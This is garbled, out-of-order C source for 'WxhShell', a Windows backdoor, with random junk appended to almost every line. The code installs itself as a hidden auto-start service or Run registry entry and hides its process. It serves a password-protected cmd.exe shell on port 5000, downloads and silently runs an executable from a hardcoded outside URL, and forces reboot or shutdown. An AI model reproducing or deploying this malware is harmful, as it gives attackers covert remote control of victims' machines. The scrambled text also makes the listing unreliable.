  case 'd': { T[4<R 5}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )h|gwERj  
    if(Boot(SHUTDOWN)) &S]@Ot<z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >teO m?@U  
    else { AUNQA  
    closesocket(wsh); D3^7y.u<)  
    ExitThread(0); x-<)\L&  
    } & jczO-R^  
    break; +|@rD/I6  
    } _5m#2u51i  
  // 获取shell w'fT=v)  
  case 's': { DUe&r,(4O  
    CmdShell(wsh); E)7F\w  
    closesocket(wsh); S:q3QgU=X  
    ExitThread(0); CQr<N w  
    break; $w0lrh[+  
  } @qjfZH@  
  // 退出 ;9ly'<up  
  case 'x': { nJ"YIT1K]p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s^|.Zr;,>  
    CloseIt(wsh); ^Q ps> A(  
    break; nF4a-H&Fo  
    } .OqSch|  
  // 离开 Qb; d:@9  
  case 'q': { HU-QDp%*r7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); xIGfM>uq  
    closesocket(wsh); ''^Y>k  
    WSACleanup(); "/6:6`J  
    exit(1); rs*Fy@  
    break; K ryo}  
        } ZA9sTc[ g  
  } )d-.M  
  } :%AL\ n  
sf|ke9-3  
  // 提示信息 ZP$-uaa-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ND,Kldji  
} zBp{K@U[|M  
  } {}m PEd b  
U{$1[,f  
  return; EVUq--)~  
} 3ZZV<SS  
`#QG6/0  
// shell模块句柄 c8M2 ^{O,`  
int CmdShell(SOCKET sock) aJe^Tp(  
{  ^eGNgE  
STARTUPINFO si; P^Q[-e{  
ZeroMemory(&si,sizeof(si)); maY4g&'f  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sv(f;ib  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _#s=h_ FD  
PROCESS_INFORMATION ProcessInfo; uV hCxUMQ  
char cmdline[]="cmd"; ZBG}3Z   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G633Lm`ri  
  return 0; Xy5s^82?  
} #:|+XLL  
wpt='(  
// 自身启动模式 16EVl~LN  
int StartFromService(void) (j"(  
{ Rek -`ki5F  
typedef struct "ZHtR/;  
{ q )lnS )  
  DWORD ExitStatus; FvuGup`w  
  DWORD PebBaseAddress; bo=ZM9  
  DWORD AffinityMask; !.<T"8BUpv  
  DWORD BasePriority; H,<7G;FPT  
  ULONG UniqueProcessId; g3sUl&K  
  ULONG InheritedFromUniqueProcessId; b7\ cxgRq  
}   PROCESS_BASIC_INFORMATION; q7m6&2$[  
vF/ =J  
PROCNTQSIP NtQueryInformationProcess; )|<_cwz  
4YMX|1wd)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )Vk6;__  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; " ;w}3+R  
#W2[  
  HANDLE             hProcess; Y'3}G<'%  
  PROCESS_BASIC_INFORMATION pbi; asgF1?r  
]G}B 0u3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 's!-80sd  
  if(NULL == hInst ) return 0; ExXM:1 e26  
_uu<4c   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cj|*_}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u%dKig  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $7Mtt.d6  
>71&]/Rv  
  if (!NtQueryInformationProcess) return 0; & &<9p;E  
YEx)"t8E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?Jusl8Sm  
  if(!hProcess) return 0; wVA|!>v  
Hj1 EGCA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7ji=E";.w  
_0 snAt^iC  
  CloseHandle(hProcess); >(tn"2  
B)h>8 {  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X0+fsf<H}  
if(hProcess==NULL) return 0; ]Lqt( c  
p'?w2YN/  
HMODULE hMod; xaKst p  
char procName[255]; >Dg#9  
unsigned long cbNeeded; =`C4qC _  
,Ci/xnI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %im#ww L%  
,rwuy[Q8  
  CloseHandle(hProcess); w[Ep*-yeI  
npu6E;'l*  
if(strstr(procName,"services")) return 1; // 以服务启动 V5GkP1L  
z&$/EP-  
  return 0; // 注册表启动 &yz&LNn'  
} i!dv0|_  
\H5Jk$*  
// 主模块 *sfD#Bi]  
int StartWxhshell(LPSTR lpCmdLine) N<_Ko+VF  
{ ` e{BId  
  SOCKET wsl; } i)$n(A)K  
BOOL val=TRUE; gglQU"=g{  
  int port=0; dj[apuiF  
  struct sockaddr_in door; 4*UP. r@  
Zq ot{s  
  if(wscfg.ws_autoins) Install(); N\1/JW+  
I]J*BD#n.  
port=atoi(lpCmdLine); ;<G<1+  
!m{2WW-  
if(port<=0) port=wscfg.ws_port; 9-bG<`v\E  
Lg`Jp&Kg  
  WSADATA data; , Ut Hc]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |AH@ EI>  
3@O0^v-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   jV7&Y.$zF]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >n7["7HHk  
  door.sin_family = AF_INET; z]$j7dp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vh>{_ #  
  door.sin_port = htons(port); DcV<y-`'1  
azb=(l-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { oBlzHBn>0  
closesocket(wsl); 8!h'j  
return 1; ._p""'Sa  
} \w )?SVp  
76#.F  
  if(listen(wsl,2) == INVALID_SOCKET) { *"G8  
closesocket(wsl); 0%)5.=6  
return 1; ~j,TVY  
} BSp$F WvT?  
  Wxhshell(wsl); Q)Dwq?  
  WSACleanup(); n*qN 29sx  
iTNqWU-o  
return 0; ?:|YGLaB  
U?U(;nSR\A  
} R~B0+:6  
udTxNl!  
// 以NT服务方式启动 6|;0ax4:P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `f'C[a"  
{ 6;uBZ &g  
DWORD   status = 0; 5FuK\y  
  DWORD   specificError = 0xfffffff; ?'~;Q)  
1]/N2&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; oG_~3Kt  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  ~B@ }R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cq^sq1A:  
  serviceStatus.dwWin32ExitCode     = 0; wt7.oKbW  
  serviceStatus.dwServiceSpecificExitCode = 0; i1/}XV  
  serviceStatus.dwCheckPoint       = 0; 12r` )  
  serviceStatus.dwWaitHint       = 0; 4NVgOr:  
&?$\Y,{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q?VVYZXP  
  if (hServiceStatusHandle==0) return; ":&|[9/  
&9ki O  
status = GetLastError(); *=^[VV!  
  if (status!=NO_ERROR) oa9)Dv  
{ f Lk"tW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~{ .,8jE  
    serviceStatus.dwCheckPoint       = 0; owMuT^x?  
    serviceStatus.dwWaitHint       = 0; /;UTC)cJ  
    serviceStatus.dwWin32ExitCode     = status; P6OM)>C  
    serviceStatus.dwServiceSpecificExitCode = specificError; <J#R3{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gv` h-b  
    return; Nz]aaoO4  
  } q lY\*{x4  
Z oTNm  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; A. Nz_!  
  serviceStatus.dwCheckPoint       = 0; *Pb.f  
  serviceStatus.dwWaitHint       = 0; pB'x_z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5K(n3?1z)  
} O`[]xs  
*#ompm  
// 处理NT服务事件,比如:启动、停止 ucFw,sB1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ip5u_Xj ?  
{ r|8V @.@i  
switch(fdwControl) x\;GoGsez  
{ 3Bd4 C]E  
case SERVICE_CONTROL_STOP: H5 q:z=A  
  serviceStatus.dwWin32ExitCode = 0; Nzc>)2% N  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 59qnEIi  
  serviceStatus.dwCheckPoint   = 0; GHrBK&  
  serviceStatus.dwWaitHint     = 0; jg^^\n  
  { mSj76' L#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /lUk5g^j  
  } J:W'cH$cR  
  return; 0N1' $K$\  
case SERVICE_CONTROL_PAUSE: VEo^ :o)r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; xDe47&qKM  
  break; &(\@sxAyZ  
case SERVICE_CONTROL_CONTINUE: }@4| 7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y84XoDQ  
  break; WA$ p_% r=  
case SERVICE_CONTROL_INTERROGATE: & ^!v*=z  
  break; y%g`FC   
}; &x/k^p=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y=WR6!{  
} gx&73f<J  
#y`k$20"  
// 标准应用程序主函数 AuM:2N2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L(Rorf~V  
{ ~g96o81V  
j) <[j&OWw  
// 获取操作系统版本 1(F'~i|5  
OsIsNt=GetOsVer(); NFM-)Z57  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Pb=rFas*C  
|=OpzCs  
  // 从命令行安装 b2%blQgo  
  if(strpbrk(lpCmdLine,"iI")) Install(); {G]`1Q1DR  
&*c'uN w  
  // 下载执行文件 .hnF]_QQ  
if(wscfg.ws_downexe) { .kzms  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9w$7VW;  
  WinExec(wscfg.ws_filenam,SW_HIDE); a:xgjUt&5  
} {N@Y<=+:  
JbVi1?c  
if(!OsIsNt) { 6A@Lj*:2m  
// 如果时win9x,隐藏进程并且设置为注册表启动 VG#$fRrZ  
HideProc(); 0<"tl0p_  
StartWxhshell(lpCmdLine); iqlVlm>E  
} kOzt"t&  
else |3W3+Rn!  
  if(StartFromService()) T7X!#j" \  
  // 以服务方式启动 *@=fq|6l 2  
  StartServiceCtrlDispatcher(DispatchTable); j!"iYtgV  
else )m>6hk  
  // 普通方式启动  2w;G4  
  StartWxhshell(lpCmdLine); EsNk<Ra  
PH{ c,  
return 0; 4jPwL|#  
} {K6Kx36  
's/27=o  
\Z8Y(]6*  
L)=8mF.  
=========================================== %!#rrt,F  
=`ywd]\7  
F F(^:N  
G0^V!0I&O  
AIf[W">\  
cKSfqqPm$"  
" L_`Xbky  
5!2J;.&  
#include <stdio.h> -!JlM@  
#include <string.h> " -<}C%C  
#include <windows.h> tzP@3+.w  
#include <winsock2.h> </2,2AV4q*  
#include <winsvc.h> 1XC*|  
#include <urlmon.h> +EQpD.  
YGi/]^Nba  
#pragma comment (lib, "Ws2_32.lib") 23,%=U  
#pragma comment (lib, "urlmon.lib") 1@s^$fvW  
y`T--v3mI  
#define MAX_USER   100 // 最大客户端连接数 6qY\7R2+  
#define BUF_SOCK   200 // sock buffer X~`.}  
#define KEY_BUFF   255 // 输入 buffer ,5`."-0}  
z1)$  
#define REBOOT     0   // 重启 ,$ho2R),Fn  
#define SHUTDOWN   1   // 关机 MJpP!a^Q  
ye56-T  
#define DEF_PORT   5000 // 监听端口 O>kXysMv>  
:tg@HyY)  
#define REG_LEN     16   // 注册表键长度 Cw@k.{*7,  
#define SVC_LEN     80   // NT服务名长度 DHSU?o#jY  
V%VrAi.  
// 从dll定义API 8-W"4)@b  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Uv#>d}P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B=r]_&u-u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j P{:A9T\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); dY48S{  
uVoF<={  
// wxhshell配置信息 i,C0o   
struct WSCFG { ?nj"Ptzs  
  int ws_port;         // 监听端口 ~t1O]aO(  
  char ws_passstr[REG_LEN]; // 口令 {IF}d*:  
  int ws_autoins;       // 安装标记, 1=yes 0=no V7Vbl?*n  
  char ws_regname[REG_LEN]; // 注册表键名 zWP.1 aA&  
  char ws_svcname[REG_LEN]; // 服务名 &zaW"uy3T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o9DYr[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~pDRF(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m1M;'tT@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cWX"e6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1D 3 dYVE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .eZPp~[lAN  
d "QM;9  
}; 2D\x-!l/  
'Y~8_+J?  
// default Wxhshell configuration IF,i^,  
struct WSCFG wscfg={DEF_PORT, S&gKgQD"Q  
    "xuhuanlingzhe", wliGds  
    1, EIy]qAE:f  
    "Wxhshell", z_)OWWdN  
    "Wxhshell", >e5q2U   
            "WxhShell Service", ^!-E`<jW8  
    "Wrsky Windows CmdShell Service", tU-#pB>H  
    "Please Input Your Password: ", %N?W]vbra  
  1, z&6]vN'  
  "http://www.wrsky.com/wxhshell.exe", n0>5'm%ES  
  "Wxhshell.exe" YL0WUD_>  
    }; 1( QWt  
E.En$'BvB  
// 消息定义模块 gdkLPZ<<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K{eqB!@j  
char *msg_ws_prompt="\n\r? for help\n\r#>"; zyQ,unu  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zz+M1n-;o  
char *msg_ws_ext="\n\rExit."; 4w?]dDyc%  
char *msg_ws_end="\n\rQuit."; @ ~0G$  
char *msg_ws_boot="\n\rReboot..."; T<9dW?'|  
char *msg_ws_poff="\n\rShutdown..."; kHz+ ZY<?  
char *msg_ws_down="\n\rSave to "; 62k9"xSH  
9!Q $GE?vl  
char *msg_ws_err="\n\rErr!"; Azdz3/  
char *msg_ws_ok="\n\rOK!"; P|!/mu]  
OXa5Jg}=  
char ExeFile[MAX_PATH]; 4jq`No_  
int nUser = 0; \_-kOS  
HANDLE handles[MAX_USER]; ePPp)=  
int OsIsNt; `% #zMS  
ouu-wQ|(mM  
SERVICE_STATUS       serviceStatus; 0& SrKn  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; d=.n|rS4 W  
jN5} 2 p*  
// 函数声明 ;OT#V,}r  
int Install(void); wj";hAw  
int Uninstall(void); _dJVnC1 !  
int DownloadFile(char *sURL, SOCKET wsh); o0-fUCmC  
int Boot(int flag); t2!$IHE:  
void HideProc(void); ,/[dmoe  
int GetOsVer(void); /o}0oo5B  
int Wxhshell(SOCKET wsl); ozxK?AMgG  
void TalkWithClient(void *cs); b'Piymx  
int CmdShell(SOCKET sock); b@Mng6R  
int StartFromService(void); zd*W5~xKg  
int StartWxhshell(LPSTR lpCmdLine); nJM9c[Ou^H  
y<Z#my$`|n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (dGM;Dq8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); OJC*|kN-#^  
E-7a`S  
// 数据结构和表定义 D,m&^P=%e  
SERVICE_TABLE_ENTRY DispatchTable[] = b 'Nvx9=W  
{ ki][qvXJ  
{wscfg.ws_svcname, NTServiceMain}, >8Yrmq  
{NULL, NULL} ;)bF#@Q  
}; GmEJ,%A  
k:HSB</}  
// 自我安装 ys"mP* wD  
int Install(void) eiNk]KXAYX  
{ h#6 jUQ  
  char svExeFile[MAX_PATH]; 41f m}  
  HKEY key; (VF4FC  
  strcpy(svExeFile,ExeFile); V~gUMu4ot  
ZF11v(n  
// 如果是win9x系统,修改注册表设为自启动 #k|g9`  
if(!OsIsNt) { Pc\4 QvQ8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _ UVX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); | xErA  
  RegCloseKey(key); C\hZ;Z1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v#YS`];B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vSHIl"h  
  RegCloseKey(key); "n2xn%t{  
  return 0; ?#{2?%_  
    } 0o^#Fmuz  
  } WriJco<v  
} N6m*xxI{  
else { ( _F  
xZ{|D  
// 如果是NT以上系统,安装为系统服务 {0Ol/N;|D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~%!U,)-  
if (schSCManager!=0) GXv o't@N  
{ I!i#=  
  SC_HANDLE schService = CreateService `sp'Cl!  
  ( yZPFo  
  schSCManager, w _6Y+  
  wscfg.ws_svcname, }FdcbNsP  
  wscfg.ws_svcdisp, 6w`}+3  
  SERVICE_ALL_ACCESS, (Q p] 0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ; 0_J7  
  SERVICE_AUTO_START, 1wNY}3  
  SERVICE_ERROR_NORMAL, pl^"1Z=*  
  svExeFile, uD*s^  
  NULL, rsIPI69qJ.  
  NULL, d_?Zr`:  
  NULL, KA*l6`(  
  NULL, 3~1lVU:  
  NULL Z?j='/u>@  
  ); p/^\(/\])  
  if (schService!=0) 'I01F:`  
  { N\?Az668?  
  CloseServiceHandle(schService); Nz;*;BQK:  
  CloseServiceHandle(schSCManager); r7BH{>-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?}>Z_ ("  
  strcat(svExeFile,wscfg.ws_svcname); lO[jf6gB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { OB I8~k  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a.*j8T  
  RegCloseKey(key); $}"Wta  
  return 0; y2ws*IZ"  
    } QT&Ws+@ s{  
  } ah$7 Oudj  
  CloseServiceHandle(schSCManager); 1#X= &N  
} 2BU)qv-  
} 1NHoIX  
:8!3*C-=  
return 1;  F3r  
} aKFA&Xnsl  
*/dsMa  
// 自我卸载 `]I5WTt*X  
int Uninstall(void)  3usA  
{ z&J ow/  
  HKEY key; ALieUf  
[<1+Q =;  
if(!OsIsNt) { [q{Txe  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $j2)_(<A%Q  
  RegDeleteValue(key,wscfg.ws_regname); +mW$D@Pf  
  RegCloseKey(key);  #=~1hk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 58ZiCvqv  
  RegDeleteValue(key,wscfg.ws_regname); .p*D[o2 9  
  RegCloseKey(key); I)/7M}t`  
  return 0; <|.! Px86  
  } vrO$8* sy  
} ,( kXF:  
} {-]HYk  
else { ='||BxB  
A VG`r2T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NX #d}M^V  
if (schSCManager!=0) }eRG$)'  
{ kvVz-P Jy  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r Q@o  
  if (schService!=0) cb&In<q  
  { teNQUIe-  
  if(DeleteService(schService)!=0) { bRe*(  
  CloseServiceHandle(schService); S aq>o.  
  CloseServiceHandle(schSCManager); v?"ee&Y6  
  return 0; ?-&D'  
  } c5+lm}R?  
  CloseServiceHandle(schService); |a:VpM  
  } Gqb-3n gH  
  CloseServiceHandle(schSCManager); mSw?iL  
} QN8Hz/}\  
} ={vtfgxl  
wmCV%g\.d:  
return 1; v7u}nx  
} hg/&[/eodm  
e>9{36~jh  
// 从指定url下载文件 !td.ks0  
int DownloadFile(char *sURL, SOCKET wsh) _ll aH  
{ l'8TA~  
  HRESULT hr; =QO[zke:  
char seps[]= "/"; fv'P!+)t  
char *token; b'"%   
char *file; /1 %0A  
char myURL[MAX_PATH]; -2Cf)>`v  
char myFILE[MAX_PATH]; w/D m  
K T72D  
strcpy(myURL,sURL); 5kZ yiC*  
  token=strtok(myURL,seps); 6Tmb@<I_  
  while(token!=NULL) ^`5Yxpz  
  { `l#$l3v+  
    file=token; QHz76i!=>  
  token=strtok(NULL,seps); p<['FRf"  
  } !+ hgKZ]  
vXZz=E AH  
GetCurrentDirectory(MAX_PATH,myFILE); t[ocp;Q  
strcat(myFILE, "\\"); T mE4p  
strcat(myFILE, file); !h(0b*FUJ  
  send(wsh,myFILE,strlen(myFILE),0); 3YF]o9  
send(wsh,"...",3,0); ~?+m=\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~i#xjD5  
  if(hr==S_OK) l:/V%{sx  
return 0; o*BI^4  
else CrQ& -!Eh  
return 1; 9@+X?Nhv5  
^Exq=oV  
} e(N <Mf  
u`nn{C4D"  
// 系统电源模块 jM<Ihmh|  
int Boot(int flag) 7B :aJfxM  
{ L%Hm# eFx  
  HANDLE hToken; <xNM@!'\h  
  TOKEN_PRIVILEGES tkp; Ot<!YM  
'F~SNIay  
  if(OsIsNt) { ;$;/#8`>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p5BcDYOw`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /YR $#&N2  
    tkp.PrivilegeCount = 1; f|E'eFrFk  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; CU&,Kq@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); WF0>R^SpZ  
if(flag==REBOOT) { W5g!`f  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +:Zi(SuS]  
  return 0; ^/,yZ:  
} mmK_xu~f28  
else { tTamFL6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <a3XV  
  return 0; )$g /PQ  
} }PuO$ L  
  } :AGQkJb  
  else { Im#$iPIvT  
if(flag==REBOOT) { ir?9{t/()  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }H.vH  
  return 0; _xsYcw~)  
} je% 12DM  
else { =? aB@&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) __npX_4%S  
  return 0; #O ]IXo(5z  
} aoX$,~oI5  
} 4!|ar?Zy  
(#`o >G(  
return 1; 5E=Odep`  
} z<*]h^ !3  
'M/&bu r  
// win9x进程隐藏模块 >fQN"(tf  
void HideProc(void) fXj  
{ {}e IpK,+  
AG2jl/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); oc Uu  
  if ( hKernel != NULL ) u6RHn;b  
  { Op~+yMef  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (1vS)v $L  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #\QC%"%f  
    FreeLibrary(hKernel); voEc'JET  
  } IgJC>;]u  
M$9h)3(B  
return; y0]O 6.{  
} sqRuqUj+  
Vo[4\h#$  
// 获取操作系统版本 ,Nh X%  
int GetOsVer(void) RPwSo.c4  
{ k=}hY+/=  
  OSVERSIONINFO winfo; $_kU)<e3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4+"SG@i`W  
  GetVersionEx(&winfo); $la,_Sr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y.J$f<[R  
  return 1; C? S%fF  
  else *1Q?~  
  return 0; GYO"1PM  
} 9:s!#FYFM  
?=&*6H_v  
// 客户端句柄模块 =j-{Mxb3  
int Wxhshell(SOCKET wsl) 3E-&8x7uYR  
{ j/&7L@Y  
  SOCKET wsh; 7dZ!GX?\y  
  struct sockaddr_in client; Jjv&@a}  
  DWORD myID; 8wOPpdc  
wC~Uy%  
  while(nUser<MAX_USER) _45"Z}Zx  
{ `N+ P ,  
  int nSize=sizeof(client); TzJN,]F!M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mMH0 o  
  if(wsh==INVALID_SOCKET) return 1; !WXSrICX[  
/2(F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C 4,W[L]4"  
if(handles[nUser]==0) =9-c*bL  
  closesocket(wsh); vr$ [  
else '"Gi&:*nQ<  
  nUser++; l"/Os_4O  
  } E:AXnnGKO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T28#?Lp6]  
4j5plm=  
  return 0; D@e:Fu1\R  
} KC'{>rt7  
ND*5pRzvp  
// 关闭 socket %0QYkHdFR`  
void CloseIt(SOCKET wsh) IV76#jL  
{ #%~wuCn<K  
closesocket(wsh); u}$3.]-.?T  
nUser--; kmwFw>#  
ExitThread(0); ~Q5HM  
} Wp $\>  
*&s_u)b  
// 客户端请求句柄 qW*)]s)z  
void TalkWithClient(void *cs) hI$an%Y(  
{ o'G")o  
<pCZ+Yv E"  
  SOCKET wsh=(SOCKET)cs; 3f0RMk$pH  
  char pwd[SVC_LEN]; H`sV\'`!}  
  char cmd[KEY_BUFF]; TD'1L:mv  
char chr[1]; oT OMqR{"  
int i,j; %0 S0"t  
v2NzPzzyb  
  while (nUser < MAX_USER) { 8I%1 `V  
ynhH5P|6,  
if(wscfg.ws_passstr) { 5n<Efi]j  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t+t&eg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HzV3O-Qz]  
  //ZeroMemory(pwd,KEY_BUFF); K7|BXGL8r8  
      i=0; WukD|BCC  
  while(i<SVC_LEN) { gU:jx  
-4.+&'  
  // 设置超时 Dcq^C LPY  
  fd_set FdRead; 9#+X?|p+0  
  struct timeval TimeOut; 1jR<H$aS  
  FD_ZERO(&FdRead); w5p+Yx=q  
  FD_SET(wsh,&FdRead); UWz<~Vy  
  TimeOut.tv_sec=8; F{v+z8nW  
  TimeOut.tv_usec=0; NeYj[Q~xy  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8WMC ~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #~"jo[  
iVE+c"c!2&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kAMt8  
  pwd=chr[0]; czafBO6  
  if(chr[0]==0xd || chr[0]==0xa) { 0oD?4gn  
  pwd=0; b@Fa| >"_  
  break; wNn6".S   
  } wml`3$"cf  
  i++; s<:J(gD  
    } -70Ut 4B  
.M04n\  
  // 如果是非法用户,关闭 socket >Tw|SK+3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |X>:"?4t  
} LaRY#9  
8D-g%Aj-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =73wngw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uXXwMc<p  
6H@=O 1W  
while(1) { ]O^!P,l)"  
rxO|k0x^C  
  ZeroMemory(cmd,KEY_BUFF); krgsmDi7  
_15r!RZ:1  
      // 自动支持客户端 telnet标准   :2La,  
  j=0; I_Q'+d  
  while(j<KEY_BUFF) { Jf 2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6 LC*X  
  cmd[j]=chr[0]; F[LBQI`zq  
  if(chr[0]==0xa || chr[0]==0xd) { RX '( l  
  cmd[j]=0; HA| YLj?|g  
  break; M*nfWQ a  
  } dI3U*:$X  
  j++; dLLF#N  
    } VgOj#Z?K  
ds`a6>746  
  // 下载文件 bV}43zI.  
  if(strstr(cmd,"http://")) { vI4St;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Lf3:' n  
  if(DownloadFile(cmd,wsh)) cJ&%XN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o@ }Jd0D4  
  else .hU ndg  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Eg>MG87  
  } MbYAK-l.h  
  else { H'GyWG|Wx  
{/N4/gu  
